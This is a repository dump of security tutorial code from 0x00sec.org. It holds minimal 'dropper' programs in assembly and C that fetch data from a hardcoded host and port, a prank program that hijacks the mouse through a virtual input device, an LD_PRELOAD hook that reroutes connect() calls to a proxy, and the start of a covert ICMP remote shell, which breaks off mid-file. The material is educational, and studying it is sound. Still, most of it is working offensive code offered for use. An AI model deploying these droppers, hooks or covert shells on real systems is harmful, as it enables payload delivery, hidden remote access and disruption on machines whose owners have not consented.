msg db "ERROR", 10,0 177 | filesize equ $ - $$ 178 | -------------------------------------------------------------------------------- /min_dropper/fwget1.asm: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; * fwget1. FemtoWget. Minimal dropper in asm (FINAL) 3 | ;;; * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | ;;; * 5 | ;;; * This program is free software: you can redistribute it and/or modify 6 | ;;; * it under the terms of the GNU General Public License as published by 7 | ;;; * the Free Software Foundation, either version 3 of the License, or 8 | ;;; * (at your option) any later version. 9 | ;;; * This program is distributed in the hope that it will be useful, 10 | ;;; * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;;; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;;; * GNU General Public License for more details. 13 | ;;; * You should have received a copy of the GNU General Public License 14 | ;;; * along with this program. If not, see . 15 | 16 | BITS 64 17 | ;;; ELF header.... we make use of the 8 bytes available in the header 18 | org 0x400000 19 | BUF_SIZE: equ 1024 20 | ehdr: ; Elf64_Ehdr 21 | db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident 22 | _start: 23 | xor edi,edi ; 31 ff 24 | inc edi ; ff c7 25 | push rdi ; 57 26 | pop rsi ; 5e 27 | jmp _start1 ; eb XX 28 | 29 | 30 | dw 2 ; e_type 31 | dw 0x3e ; e_machine 32 | dd 1 ; e_version 33 | dq _start ; e_entry 34 | dq phdr - $$ ; e_phoff 35 | dq 0 ; e_shoff 36 | dd 0 ; e_flags 37 | dw ehdrsize ; e_ehsize 38 | dw phdrsize ; e_phentsize 39 | dw 1 ; e_phnum 40 | dw 0 ; e_shentsize 41 | dw 0 ; e_shnum 42 | dw 0 ; e_shstrndx 43 | 44 | ehdrsize equ $ - ehdr 45 | 46 | phdr: ; Elf32_Phdr 47 | dd 1 ; p_type 48 | dd 5 ; p_offset 49 | dq 0 50 | dq $$ ; p_vaddr 51 | dq $$ ; p_paddr 52 | dq filesize ; p_filesz 53 | dq filesize ; p_memsz 54 | dq 0x1000 ; p_align 55 | 56 | phdrsize equ $ - phdr 57 | 58 | ;; Compile 59 | ;; nasm -f bin -o fwget fwget.asm; chmod +x fwget 60 | ;; https://0x00sec.org/t/the-price-of-scripting-dietlibc-vs-asm/791/7 61 | _start1: 62 | inc edi 63 | mov edx, 6 ; IPPROTO_TCP 64 | 65 | ;; socket (AF_INET=2, SOCK_STREAM = 1, IPPROTO_TCP=6) 66 | call _socket 67 | mov ebx, eax ; Store socket on ebx 68 | ;; It is unlikely that the socket syscall will fail. No check for errors 69 | 70 | 71 | ;; connect (s [rbp+0], addr, 16) 72 | mov edi, eax ; Saves 1 byte 73 | lea rsi, [rel addr] 74 | add edx,10 75 | 76 | call _connect 77 | ;; Just skip error check... if it fails is not gonna work anyway 78 | 79 | lea rsi, [rsp] ; Just use the stack as buffer.... we should decrement it 80 | l0: ; Read loop 81 | ;; Read data from socket 82 | ;; _read (s = rbx, buf= [rsp], 1024); 83 | 84 | mov edi, ebx 85 | mov edx, BUF_SIZE 86 | call _read 87 | cmp eax, 0 88 | jle done 89 | 90 | ;; Write to stdout 91 | ;; _write (1, [rsp], rax) 92 | xor edi,edi 93 | inc edi ; rdi = 1 94 | mov edx, eax ; get len from _read 95 | call _write 96 | cmp eax, BUF_SIZE 97 | jl done 98 | jmp l0 99 | done: 100 | ;; _close (s) 101 | ;; File descriptors get closed automatically when the process dies 102 | 103 | ;; We do not care about exit code 104 | call _exit 105 | 106 | 107 | ;; Syscalls 108 | _read: 109 | xor eax,eax 110 | jmp _do_syscall 111 | 112 | _write: 113 | xor eax,eax 114 | inc eax 115 | 116 | jmp _do_syscall 117 | 118 | _socket: 119 | ;; mov rax, 41 120 | xor eax,eax 121 | add al, 41 122 | jmp _do_syscall 123 | 124 | _connect: 125 | ;; mov rax, 42 126 | xor eax,eax 127 | add al, 42 128 | jmp _do_syscall 129 | 130 | _close: 131 | ;; mov rax, 3 132 | xor eax,eax 133 | add al, 3 134 | jmp _do_syscall 135 | 136 | _exit: 137 | xor eax,eax 138 | add al, 60 139 | ;; mov rax, 60 140 | ;; jmp _do_syscall 141 | 142 | _do_syscall: 143 | syscall 144 | ret 145 | 146 | addr dq 0x0100007f11110002 147 | filesize equ $ - $$ 148 | -------------------------------------------------------------------------------- /min_dropper/minios.s: -------------------------------------------------------------------------------- 1 | 2 | /* minios. Minimal Os Interface 3 | * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * You should have received a copy of the GNU General Public License 14 | * along with this program. If not, see . 15 | */ 16 | .global _exit, _read, _write, _socket, _exit, _close, _connect 17 | _read: 18 | mov $0x0, %rax 19 | jmp do_syscall 20 | 21 | _write: mov $01, %rax 22 | jmp do_syscall 23 | 24 | _close: mov $03, %rax 25 | jmp do_syscall 26 | 27 | _socket: 28 | mov $41, %rax 29 | jmp do_syscall 30 | 31 | _connect: 32 | mov $42, %rax 33 | 34 | do_syscall: 35 | syscall 36 | ret 37 | _exit: 38 | mov $0x3c, %rax 39 | syscall 40 | -------------------------------------------------------------------------------- /min_dropper/nwget.c: -------------------------------------------------------------------------------- 1 | /* 2 | * nwget. NanoWget. Minimal dropper in C 3 | * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * You should have received a copy of the GNU General Public License 14 | * along with this program. If not, see . 15 | */ 16 | 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | #define BUF_SIZE 1024 25 | 26 | int main (void) { 27 | int s, l; 28 | unsigned long addr = 0x0100007f11110002; // Define IP the hacker way :) 29 | unsigned char buf[BUF_SIZE]; 30 | 31 | 32 | if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) return -2; 33 | if (connect (s, (struct sockaddr*)&addr, 16) < 0) return -3; 34 | 35 | while (1) { 36 | if ((l = read (s, buf, BUF_SIZE) ) <= 0) break; 37 | write (1, buf, l); 38 | if (l < BUF_SIZE) break; 39 | } 40 | close (s); 41 | 42 | return 0; 43 | 44 | } 45 | // 8c0aa8c034120002 -- 192.168.10.140 (0x8c0aa8c0) 4660 (0x1234) 46 | // 8c0aa8c021430002 -- 192.168.10.140 (0x8c0aa8c0) 17185 (0x4321) 47 | // c0. a8.0a. 8c 48 | -------------------------------------------------------------------------------- /min_dropper/nwget1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * nwget1. Minimal dropper in C without libc 3 | * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * You should have received a copy of the GNU General Public License 14 | * along with this program. If not, see . 15 | */ 16 | #define BUF_SIZE 1024 17 | 18 | /* Prototypes */ 19 | // ssize_t read(int fd, void *buf, size_t count); 20 | // ssize_t write(int fd, const void *buf, size_t count); 21 | int _read (int fd, void *buf, int count); 22 | int _write (int fd, const void *buf, int count); 23 | int _socket(int domain, int type, int protocol); 24 | 25 | // int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 26 | int _connect(int sockfd, long *addr, int addrlen); 27 | void _exit(int status); 28 | 29 | int _close(int fd); 30 | 31 | // Defines 32 | #define PF_INET 2 33 | #define SOCK_STREAM 1 34 | #define IPPROTO_TCP 6 35 | 36 | 37 | int 38 | _start (int argc, char **argv) 39 | { 40 | int s, l; 41 | unsigned long addr = 0x0100007f11110002; // Define IP the hacker way :) 42 | unsigned char buf[BUF_SIZE]; 43 | 44 | 45 | if ((s = _socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) return -2; 46 | if (_connect (s, &addr, 16) < 0) {return -3;} 47 | while (1) 48 | { 49 | if ((l = _read (s, buf, BUF_SIZE) ) <= 0) break; 50 | 51 | _write (1, buf, l); 52 | if (l < BUF_SIZE) break; 53 | } 54 | _close (s); 55 | _exit(0); 56 | return 0; 57 | 58 | } 59 | -------------------------------------------------------------------------------- /min_dropper/nwget_basic.c: -------------------------------------------------------------------------------- 1 | /* 2 | * nwget. NanoWget. Minimal dropper in C 3 | * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * You should have received a copy of the GNU General Public License 14 | * along with this program. If not, see . 15 | */ 16 | 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | #define BUF_SIZE 1024 25 | 26 | int main (void) { 27 | int s, l; 28 | unsigned long addr = 0x0100007f11110002; // Define IP the hacker way :) 29 | unsigned char buf[BUF_SIZE]; 30 | 31 | 32 | if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) return -2; 33 | if (connect (s, (struct sockaddr*)&addr, 16) < 0) return -3; 34 | 35 | while (1) { 36 | if ((l = read (s, buf, BUF_SIZE) ) <= 0) break; 37 | write (1, buf, l); 38 | if (l < BUF_SIZE) break; 39 | } 40 | close (s); 41 | 42 | return 0; 43 | 44 | } 45 | // 8c0aa8c034120002 -- 192.168.10.140 (0x8c0aa8c0) 4660 (0x1234) 46 | // 8c0aa8c021430002 -- 192.168.10.140 (0x8c0aa8c0) 17185 (0x4321) 47 | // c0. a8.0a. 8c 48 | -------------------------------------------------------------------------------- /min_dropper/pwget.asm: -------------------------------------------------------------------------------- 1 | ;;; 2 | ;;; * pwget. PicoWget. Minimal dropper in asm 3 | ;;; * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | ;;; * 5 | ;;; * This program is free software: you can redistribute it and/or modify 6 | ;;; * it under the terms of the GNU General Public License as published by 7 | ;;; * the Free Software Foundation, either version 3 of the License, or 8 | ;;; * (at your option) any later version. 9 | ;;; * This program is distributed in the hope that it will be useful, 10 | ;;; * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;;; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;;; * GNU General Public License for more details. 13 | ;;; * You should have received a copy of the GNU General Public License 14 | ;;; * along with this program. If not, see . 15 | 16 | ;; Compile 17 | ;; nasm -f elf md.asm -o md.o 18 | ;; ld -o md md.o 19 | 20 | section .text 21 | global _start 22 | 23 | _start: 24 | push rbp 25 | mov rbp, rsp 26 | sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size 27 | 28 | ;; mov rdi, 1 29 | ;; lea rsi, [rel msg1] 30 | ;; mov rdx, 7 31 | 32 | ;; call _write 33 | 34 | ;; Variables 35 | ;; [rbp + 0x00] -> s (socket) 36 | ;; [rbp + 0x08] -> len (int) 37 | ;; [rbp + 0x10] -> buf (unsigned char) 38 | ;; Create socket 39 | ;; Find contants with: grep -R CONSTANT /usr/include 40 | ;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6); 41 | mov rdi, 2 ; PF_INET 2 42 | mov rsi, 1 ; SOCK_STREAM 43 | mov rdx, 6 ; IPPROTO_TCP 44 | mov r8, 10 45 | call _socket 46 | mov [rbp + 0x00], rax 47 | mov r9, rax 48 | cmp rax, 0 49 | jle error 50 | 51 | 52 | ;; connect (s [rbp+0], addr, 16) 53 | mov rdi, rax 54 | ;; mov rsi, 0x8c0aa8c011110002 55 | ;; mov rsi, 0x0100007f11110002 56 | lea rsi, [rel addr] 57 | mov rdx, 16 58 | mov r8, 20 59 | call _connect 60 | test eax, eax 61 | jl error 62 | 63 | l0: ; Read loop 64 | ;; Read data from socket 65 | ;; _read (s = [rbp + 0], [rbp + 0x10], 1024); 66 | mov rdi, [rbp + 0] 67 | lea rsi, [rbp+0x10] 68 | mov rdx, 1024 69 | call _read 70 | mov [rbp + 0x08], rax ; Store number of bytes read 71 | cmp rax, 0 72 | jle done 73 | 74 | ;; Write to stdout 75 | ;; _write (1, [rbp+0x10], [rbp+0x08]) 76 | mov rdi, 1 77 | mov rdx, rax 78 | call _write 79 | cmp rax, 1024 80 | jl done 81 | jmp l0 82 | done: 83 | ;; _close (s) 84 | mov rdi, [rbp + 0x00] ; 85 | call _close 86 | 87 | mov rdi, 0 ; Success 88 | call _exit 89 | 90 | error: 91 | mov rdi, 2 92 | lea rsi, [rel msg] 93 | mov rdx, 7 94 | call _write 95 | 96 | mov rdi, r9 97 | add rdi, r8 98 | call _exit 99 | ;; Syscalls 100 | _read: 101 | mov rax, 0 102 | syscall 103 | ret 104 | 105 | _write: 106 | mov rax, 1 107 | syscall 108 | ret 109 | 110 | _socket: 111 | mov rax, 41 112 | syscall 113 | ret 114 | 115 | _connect: 116 | mov rax, 42 117 | syscall 118 | ret 119 | 120 | _close: mov rax, 3 121 | syscall 122 | ret 123 | 124 | _exit: mov rax, 60 125 | syscall 126 | ret 127 | 128 | addr dq 0x0100007f11110002 129 | msg db "ERROR", 10,0 130 | -------------------------------------------------------------------------------- /pranks/prank.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | CyberPranks 4 | Copyright (c) 2016 picoFlamingo 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #define die(str, args...) do { \ 30 | perror(str); \ 31 | exit(EXIT_FAILURE); \ 32 | } while(0) 33 | 34 | int 35 | move_mouse (int fd, int dx, int dy) 36 | { 37 | struct input_event ev; 38 | 39 | memset(&ev, 0, sizeof(struct input_event)); 40 | ev.type = EV_REL; 41 | ev.code = REL_X; 42 | ev.value = dx; 43 | if (write (fd, &ev, sizeof(struct input_event)) < 0) 44 | die("error: write"); 45 | 46 | memset(&ev, 0, sizeof(struct input_event)); 47 | ev.type = EV_REL; 48 | ev.code = REL_Y; 49 | ev.value = dy; 50 | if (write (fd, &ev, sizeof(struct input_event)) < 0) 51 | die("error: write"); 52 | 53 | memset(&ev, 0, sizeof(struct input_event)); 54 | ev.type = EV_SYN; 55 | ev.code = 0; 56 | ev.value = 0; 57 | if(write(fd, &ev, sizeof(struct input_event)) < 0) 58 | die("error: write"); 59 | 60 | usleep(15000); 61 | 62 | return 0; 63 | } 64 | 65 | int 66 | click (int fd) 67 | { 68 | struct input_event ev; 69 | 70 | memset(&ev, 0, sizeof(struct input_event)); 71 | ev.type = EV_KEY; 72 | ev.code = BTN_LEFT; 73 | ev.value = 1; 74 | if (write (fd, &ev, sizeof(struct input_event)) < 0) 75 | die("error: write"); 76 | 77 | usleep (500000); 78 | 79 | memset(&ev, 0, sizeof(struct input_event)); 80 | ev.type = EV_KEY; 81 | ev.code = BTN_LEFT; 82 | ev.value = 0; 83 | if (write (fd, &ev, sizeof(struct input_event)) < 0) 84 | die("error: write"); 85 | 86 | 87 | memset(&ev, 0, sizeof(struct input_event)); 88 | ev.type = EV_SYN; 89 | ev.code = 0; 90 | ev.value = 0; 91 | if(write(fd, &ev, sizeof(struct input_event)) < 0) 92 | die("error: write"); 93 | 94 | usleep(15000); 95 | 96 | return 0; 97 | } 98 | 99 | int 100 | main(void) 101 | { 102 | int fd; 103 | struct uinput_user_dev uidev; 104 | struct input_event ev; 105 | int dx, dy; 106 | int i; 107 | 108 | /* Open the device */ 109 | if ((fd = open ("/dev/uinput", O_WRONLY | O_NONBLOCK)) < 0) die ("error: open"); 110 | 111 | /* We want to produce key events... left button click*/ 112 | if(ioctl(fd, UI_SET_EVBIT, EV_KEY) < 0) die ("error: ioctl"); 113 | if(ioctl(fd, UI_SET_KEYBIT, BTN_LEFT) < 0) die ("error: ioctl"); 114 | 115 | /* And we also want to produce mouse events */ 116 | if(ioctl(fd, UI_SET_EVBIT, EV_REL) < 0) die ("error: ioctl"); 117 | if(ioctl(fd, UI_SET_RELBIT, REL_X) < 0) die ("error: ioctl"); 118 | if(ioctl(fd, UI_SET_RELBIT, REL_Y) < 0) die ("error: ioctl"); 119 | 120 | /* Time to register our virtual device */ 121 | memset (&uidev, 0, sizeof(uidev)); 122 | snprintf (uidev.name, UINPUT_MAX_NAME_SIZE, "uinput-sample"); 123 | 124 | uidev.id.bustype = BUS_USB; 125 | uidev.id.vendor = 0x1; 126 | uidev.id.product = 0x1; 127 | uidev.id.version = 1; 128 | 129 | if (write (fd, &uidev, sizeof(uidev)) < 0) die("error: write"); 130 | if (ioctl(fd, UI_DEV_CREATE) < 0) die("error: ioctl"); 131 | /* We are done! Fun starts */ 132 | 133 | 134 | sleep(2); 135 | 136 | 137 | while (1) 138 | { 139 | for (i = 0; i < 100; i++) 140 | { 141 | move_mouse (fd, rand() % 10 -5 , rand()%10 - 5); 142 | } 143 | sleep (2); 144 | click (fd); 145 | sleep (5); 146 | } 147 | 148 | sleep(2); 149 | 150 | if (ioctl (fd, UI_DEV_DESTROY) < 0) die ("error: ioctl"); 151 | 152 | close (fd); 153 | 154 | return 0; 155 | } 156 | -------------------------------------------------------------------------------- /proxies/Makefile: -------------------------------------------------------------------------------- 1 | all:proxy libproxify.so 2 | 3 | proxy:proxy.c 4 | ${CC} -o $@ $< 5 | 6 | proxify.o:proxify.c 7 | ${CC} -c -fpic -o $@ $< 8 | 9 | libproxify.so:proxify.o 10 | ${CC} -shared -o $@ $< -ldl 11 | 12 | .PHONY: 13 | clean: 14 | rm proxify.o libproxify.so proxy 15 | -------------------------------------------------------------------------------- /proxies/proxify.c: -------------------------------------------------------------------------------- 1 | /* 2 | How does those hackers tools work?. ProxyChains. 3 | proxify library 4 | Copyright (c) 2016 picoFlamingo 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | /************************************************************* 19 | Read the post at 0x00sec.org 20 | 21 | https://0x00sec.org/t/how-does-those-hackers-tools-work-proxychains/426 22 | **********************************************************************/ 23 | 24 | /* GNU extension for RTDL_NEXT definition */ 25 | #define _GNU_SOURCE 26 | 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include /* See NOTES */ 33 | #include 34 | #include 35 | 36 | 37 | int connect(int sockfd, const struct sockaddr *addr, 38 | socklen_t addrlen) 39 | { 40 | int s, port; 41 | struct sockaddr_in serv, *cli; 42 | char req[1024], *ip; 43 | int (*real_connect) (int sockfd, 44 | const struct sockaddr *addr, 45 | socklen_t addrlen); 46 | 47 | 48 | /* get pointer to original connect function */ 49 | real_connect = dlsym (RTLD_NEXT, "connect"); 50 | 51 | /* Obtain text info to build the proxy connection request */ 52 | cli = (struct sockaddr_in*)addr; 53 | 54 | ip = inet_ntoa (cli->sin_addr); 55 | port = ntohs (cli->sin_port); 56 | 57 | /* Create a new socket as the other one is currently trying to connect*/ 58 | /* Otherwise we get a 'connect:: Operation now in progress' error */ 59 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 60 | { 61 | perror ("socket:"); 62 | exit (EXIT_FAILURE); 63 | } 64 | 65 | /* Swap file descriptors */ 66 | close (sockfd); 67 | dup2 (s,sockfd); 68 | 69 | /* Connect to proxy */ 70 | serv.sin_family = AF_INET; 71 | /* FIXME: You should check if the env vars exist, and 72 | * fallback to a default value otherwise */ 73 | serv.sin_port = htons(atoi(getenv("MY_PROXY_PORT"))); 74 | serv.sin_addr.s_addr = inet_addr(getenv("MY_PROXY")); 75 | 76 | if (real_connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0) 77 | { 78 | perror("connect:"); 79 | exit (EXIT_FAILURE); 80 | } 81 | 82 | /* Send proxy connection requests... Only one request in this example */ 83 | sprintf (req, "GET http://%s:%d HTTP/1.1\r\n\r\n", ip, port); 84 | write (s, req, strlen(req)); 85 | 86 | return 0; 87 | } 88 | -------------------------------------------------------------------------------- /proxies/proxy.c: -------------------------------------------------------------------------------- 1 | /* 2 | How does those hackers tools work?. ProxyChains. 3 | Simple HTTP Proxy 4 | Copyright (c) 2016 picoFlamingo 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | /************************************************************* 19 | Read the post at 0x00sec.org 20 | 21 | https://0x00sec.org/t/how-does-those-hackers-tools-work-proxychains/426 22 | **********************************************************************/ 23 | 24 | 25 | #include 26 | #include 27 | #include 28 | 29 | #include 30 | 31 | #include 32 | #include 33 | 34 | int 35 | server_init (int port) 36 | { 37 | int s, s1; 38 | socklen_t clen; 39 | struct sockaddr_in serv, client; 40 | 41 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 42 | { 43 | perror ("socket:"); 44 | exit (EXIT_FAILURE); 45 | } 46 | 47 | serv.sin_family = AF_INET; 48 | serv.sin_port = htons(port); 49 | serv.sin_addr.s_addr = htonl(INADDR_ANY); 50 | 51 | int enable = 1; 52 | if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0) 53 | { 54 | perror ("setsockopt(SO_REUSEADDR):"); 55 | exit (EXIT_FAILURE); 56 | } 57 | 58 | if ((bind (s, (struct sockaddr *)&serv, 59 | sizeof(struct sockaddr_in))) < 0) 60 | { 61 | perror ("bind:"); 62 | exit (EXIT_FAILURE); 63 | } 64 | 65 | if ((listen (s, 10)) < 0) 66 | { 67 | perror ("listen:"); 68 | exit (EXIT_FAILURE); 69 | } 70 | clen = sizeof(struct sockaddr_in); 71 | if ((s1 = accept (s, (struct sockaddr *) &client, 72 | &clen)) < 0) 73 | { 74 | perror ("accept:"); 75 | exit (EXIT_FAILURE); 76 | } 77 | 78 | return s1; 79 | 80 | } 81 | 82 | int 83 | client_init (char *ip, int port) 84 | { 85 | int s; 86 | struct sockaddr_in serv; 87 | 88 | printf ("+ Connecting to %s:%d\n", ip, port); 89 | 90 | if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) 91 | { 92 | perror ("socket:"); 93 | exit (EXIT_FAILURE); 94 | } 95 | 96 | serv.sin_family = AF_INET; 97 | serv.sin_port = htons(port); 98 | serv.sin_addr.s_addr = inet_addr(ip); 99 | 100 | if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0) 101 | { 102 | perror("connect:"); 103 | exit (EXIT_FAILURE); 104 | } 105 | 106 | return s; 107 | } 108 | 109 | void 110 | async_read (int s, int s1) 111 | { 112 | fd_set rfds; 113 | struct timeval tv; 114 | int max = s > s1 ? s : s1; 115 | int len, r; 116 | char buffer[1024]; 117 | 118 | max++; 119 | while (1) 120 | { 121 | FD_ZERO(&rfds); 122 | FD_SET(s,&rfds); 123 | FD_SET(s1,&rfds); 124 | 125 | /* Time out. */ 126 | tv.tv_sec = 1; 127 | tv.tv_usec = 0; 128 | 129 | if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0) 130 | { 131 | perror ("select:"); 132 | exit (EXIT_FAILURE); 133 | } 134 | else if (r > 0) /* If there is data to process */ 135 | { 136 | if (FD_ISSET(s, &rfds)) 137 | { 138 | memset (buffer, 0, 1024); 139 | if ((len = read (s, buffer, 1024)) <= 0) 140 | { 141 | close (s); 142 | close (s1); 143 | exit (1); 144 | } 145 | 146 | write (s1, buffer, len); 147 | } 148 | if (FD_ISSET(s1, &rfds)) 149 | { 150 | memset (buffer, 0, 1024); 151 | if ((len = read (s1, buffer, 1024)) <= 0) 152 | { 153 | close (s); 154 | close (s1); 155 | exit (1); 156 | } 157 | 158 | 159 | write (s, buffer, len); 160 | } 161 | } 162 | } 163 | } 164 | 165 | int 166 | process_request (char *buffer) 167 | { 168 | int port, c; 169 | char *aux; 170 | char ip[1024]; 171 | 172 | sscanf (buffer, "GET http://%s/", ip); 173 | if ((aux = strchr (ip, ':'))) 174 | { 175 | *aux = 0; 176 | sscanf (aux+1, "%d", &port); 177 | } 178 | else port = 80; 179 | 180 | printf ("Request to connect to: %s(%d)\n", ip, port); 181 | c = client_init (ip, port); 182 | 183 | return c; 184 | } 185 | 186 | int 187 | main (int argc, char *argv[]) 188 | { 189 | int s, c; 190 | char buffer[2048]; 191 | 192 | s = server_init (atoi(argv[1])); 193 | read (s, buffer, 2048); 194 | printf ("Request: '%s'\n", buffer); 195 | c = process_request (buffer); 196 | 197 | async_read (s, c); 198 | 199 | return 0; 200 | } 201 | -------------------------------------------------------------------------------- /remote_shell/Makefile: -------------------------------------------------------------------------------- 1 | all:rs1 rss irs 2 | 3 | 4 | rs1:rs1.c 5 | ${CC} -o $@ $< 6 | 7 | rss:rss.c 8 | ${CC} -o $@ $< 9 | 10 | irs:irs.c 11 | ${CC} -o $@ $< 12 | 13 | .PHONY: 14 | clean: 15 | rm -Rf rs1 rss irs 16 | -------------------------------------------------------------------------------- /remote_shell/irs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00pf/0x00sec_code/7e270627583fca9d51c1606f52dc1259ab1a49e0/remote_shell/irs -------------------------------------------------------------------------------- /remote_shell/irs.c: -------------------------------------------------------------------------------- 1 | /* 2 | Remote Shells. The invisible Shell 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | /************************************************************* 20 | Read the post at 0x00sec.org 21 | https://0x00sec.org/t/remote-shells-part-iii-shell-access-your-phone/508 22 | 23 | **********************************************************************/ 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | 30 | #include 31 | #include 32 | 33 | #include 34 | #include 35 | #include 36 | 37 | #include 38 | #include 39 | 40 | 41 | /* Helper functions */ 42 | #define BUF_SIZE 1024 43 | 44 | static int (*net_read) (int fd, void *buf, size_t count); 45 | static int (*net_write) (int fd, void *buf, size_t count); 46 | 47 | static int icmp_type = ICMP_ECHOREPLY;; 48 | static int id = 12345; 49 | 50 | typedef struct 51 | { 52 | struct iphdr ip; 53 | struct icmphdr icmp; 54 | int len; 55 | char data[BUF_SIZE]; /* Data */ 56 | } PKT; 57 | 58 | typedef struct { 59 | struct icmphdr icmp; 60 | int len; 61 | } PKT_TX; 62 | 63 | static struct sockaddr_in dest; 64 | 65 | 66 | int 67 | raw_init (char *ip, int proto) 68 | { 69 | int s; 70 | 71 | if ((s = socket (AF_INET, SOCK_RAW, proto)) < 0) 72 | { 73 | perror ("socket:"); 74 | exit (1); 75 | } 76 | 77 | dest.sin_family = AF_INET; 78 | inet_aton (ip, &dest.sin_addr); 79 | fprintf (stderr, "+ Raw to '%s' (type : %d)\n", ip, icmp_type); 80 | 81 | return s; 82 | } 83 | 84 | /* ICMP */ 85 | u_short 86 | icmp_cksum (u_char *addr, int len) 87 | { 88 | register int sum = 0; 89 | u_short answer = 0; 90 | u_short *wp; 91 | 92 | for (wp = (u_short*)addr; len > 1; wp++, len -= 2) 93 | sum += *wp; 94 | 95 | /* Take in an odd byte if present */ 96 | if (len == 1) 97 | { 98 | *(u_char *)&answer = *(u_char*)wp; 99 | sum += answer; 100 | } 101 | 102 | sum = (sum >> 16) + (sum & 0xffff); /* add high 16 to low 16 */ 103 | sum += (sum >> 16); /* add carry */ 104 | answer = ~sum; /* truncate to 16 bits */ 105 | 106 | return answer; 107 | } 108 | 109 | int 110 | net_read_icmp (int s, void *buf, size_t count) 111 | { 112 | PKT pkt; 113 | int len, l; 114 | 115 | l = read (s, &pkt, sizeof 